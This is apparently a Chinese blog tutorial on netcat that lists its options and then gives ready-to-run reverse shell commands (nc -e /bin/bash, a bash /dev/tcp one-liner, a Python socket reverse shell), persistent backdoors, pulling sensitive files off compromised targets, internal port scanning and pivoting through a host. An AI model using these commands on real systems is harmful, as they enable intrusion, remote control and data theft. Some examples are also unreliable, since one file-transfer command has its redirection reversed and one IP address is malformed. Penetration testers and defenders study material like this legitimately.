netcat教程

命令参数

# 查看命令参数
nc -h
命令参数描述
-d在后台运行
-e执行某个程序,例如 -e /bin/bash
-G gateway设置网关,常用于突破内网限制
-g num路由跳数
-i sec设置发送一行数据的时间间隔
-l设置nc处于listen状态等待连接
-L设置nc处于listen状态,当客户端断开,服务端任然回到listen状态
-n设置nc只识别ip地址,不进行dns解析
-o file设置传输十六进制的数据
-p port设置本地监听的端口号
-r设置netcat随机化的端口号
-s addr设置netcat源地址
-t回复telnet的请求数据包
-u设置netcat使用UDP模式
-v显示错误提示信息
-w secs设置连接超时秒数
-z设置扫描模式,表示发送的数据包不包含任何的payload
[start_port-stop_port]端口范围

使用场景

基础使用

  • 服务端
nc -l -p [localport]

#监听本地端口4444
nc -l -p 4444
  • 客户端
nc [remote_addr] [remoteport]

#连接服务端192.168.1.1的4444端口
nc 192.168.1.1 4444

但是这里只是简单的建立了一个通信系统,还不能执行远程命令

反弹shell

目标已安装netcat

  • 服务端
nc -l -p [localport] -e [shell_type]
nc -l -p 4444 -e /bin/bash

##监听本地端口4444,连接时反弹shell
  • 客户端
nc [remote_addr] [remoteport]

#连接服务端192.168.1.1的4444端口
nc 192.168.1.1 4444

目标没有安装netcat

  • 服务端
nc -lvp port

nc -lvp 4444
  • 客户端
bash -i >& /dev/tcp/[target_ip]/[taget_port] 0>&1

bash -i >& /dev/tcp/192.168.1.1/4444 0>&1

--命令解释--
bash -i >& /dev/tcp/ip/port 0>&1
bash -i 表示以交互模式运行bash she1l
>& 表示重定向符
/dev/tcp/ip/port 表示传递给远程主机的IP地址对应的端口。
0>&1 表示将标准输入重定向到标准输出,实现远程的输入可以在远程输
出对应内容。
-------------------------------------------------------
bash -i,
如果在其后加文件描述符,是将bash -i 交互模式传递给文件描述符
如果其后是文件,则将bash -i 交互模式传递给文件。
-------------------------------------------------------
文件描述符: 0 标准输入、1标准输出、2错误输入输出

目标没有安装netcat,但是安装了Python

  • 客户端
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.60.1',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

--命令解释--
首先使用socket与远程建立起连接,具有了远程的文件描述符3。可以使用s. fileno( )来查看具体套接字建立的远程文件描述符。
os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,使用os的subprocess在本地开启一个子进程,传入参数"-i" 使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样就可以实现反弹shel1。
  • 服务器
nc -lvp 4444

目标支不支持 nc -e

  • 客户端
nc ip port | /bin/bash | nc ip port

nc 192.168.60.1 4444| /bin/bash | nc 192.168.60.1 4445
  • 服务器
nc -lvp 4444

nc -lvp 4445

需要同时监听两个端口,一个用于输入,一个用于输出

文件传输

  • 取证
    当目标机器被黑客攻击之后,取证人员可以利用nc的文件传输功能来获取目标机器上的文件内容。避免直接在目标机器上进行操作造成取证的误差。
  • 单纯获取目标机器敏感文件
    当目标机器上有一-些文件内容,无法正常下载时,可以利用nc进行文件传输。
  • 为什么可以直接利用nc进行文件传输呢?
    nc中的数据传输使用的是标准的输入、输出流,所以可以直接利用命令行来进行操作。

客户端向服务端传输文件

  • 服务端
nc -l -p [localport] > outfile

#nc -l -p 4444 > outfile
  • 客户端
nc [remote_addr] [remoteport] < infile

#nc 192.168.1.1 4444 < infile

服务端向客户端传输数据

  • 服务端
nc -l -p [localport] < infile

#nc -l -p 4444 > infile
  • 客户端
nc [remote_addr] [remoteport] > outfile

#nc 192.168.1.1 4444 < outfile
  • 避免nc“假死”

    如果此时服务端并没有准备好连接,而客户端已经使用nc进行连接,那么客户端会一直等待下去,直到连接上服务端,造成一种“假死"状态。
    解决方法:设置等待时间。

    #设置等待3秒钟,超过3秒钟,客户端直接关闭等待连接。
    nc -w3 [ip] [port]
    

信息探测

  • 目标内网的扫描
    当获得目标权限之后,如果目标没有任何途径可以对内网进行探测,但此时刚好具有一个netcat
    的话,就可以使用netcat进行内网ip和端口的扫描。
  • 单纯对某个目标进行端口探测
    当手头没有任何探测工具可以使用netcat进行端口探测。
  • 对目标的服务banner进行抓取
    通过netcat对目标端口进行探测。

端口扫描的使用方法

nc -v -n -z -w1 [target_ip] [start_target_port-stop_target_port]
-v 表示对错误进行详细输出
-n 不对目标机器进行DNS解析
-z zero I/0模式,专用于端口扫描。表示对目标IP发送的数据表中不包含任何payload,这样做
可以加快扫描的速度。
-w1超时设置为1秒。

抓取banner信息

echo " " | nc -v -n -w1 [target_ip] [start_target_port-stop_target_port]

建立后门

  • 获取目标的命令执行权限
    当目标机器上存在netcat之后,可以使用netcat建立后门,来实现执行目标命令的功能。

  • 为什么可以使用netcat建立后门,并返回操作结果?

    netcat 一切数据时通过标准输入/输出流实现的,所以可以利用netcat的命令行进行后门 建立,并传输结果信息。

监听型后门:

# 服务端监听4444端口,如果收到连接则返回shell
nc -l -p 4444 -e [shell]
# 客户端直接连接
nc 192.168.60.1 4444

连接型后门:

# 服务端直接监听4444端口
nc -l -p 4444
# 客户端连接并携带shell
nc [remote_ip] [remote_port] -e [shell]

端口转发

#A与B是nat
#B与C是桥接
#要实现C通过B转发,可以与A通信

#A 192.168.2.1
nc -l -p 4444

#B 192.168.1.1
nc -l -p 4445 -e con.bat

#C 192.168.1.2
nc 192.168.60.1.1 4445

#B中con.bat的内容
nc 192.168.2.1 4444
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值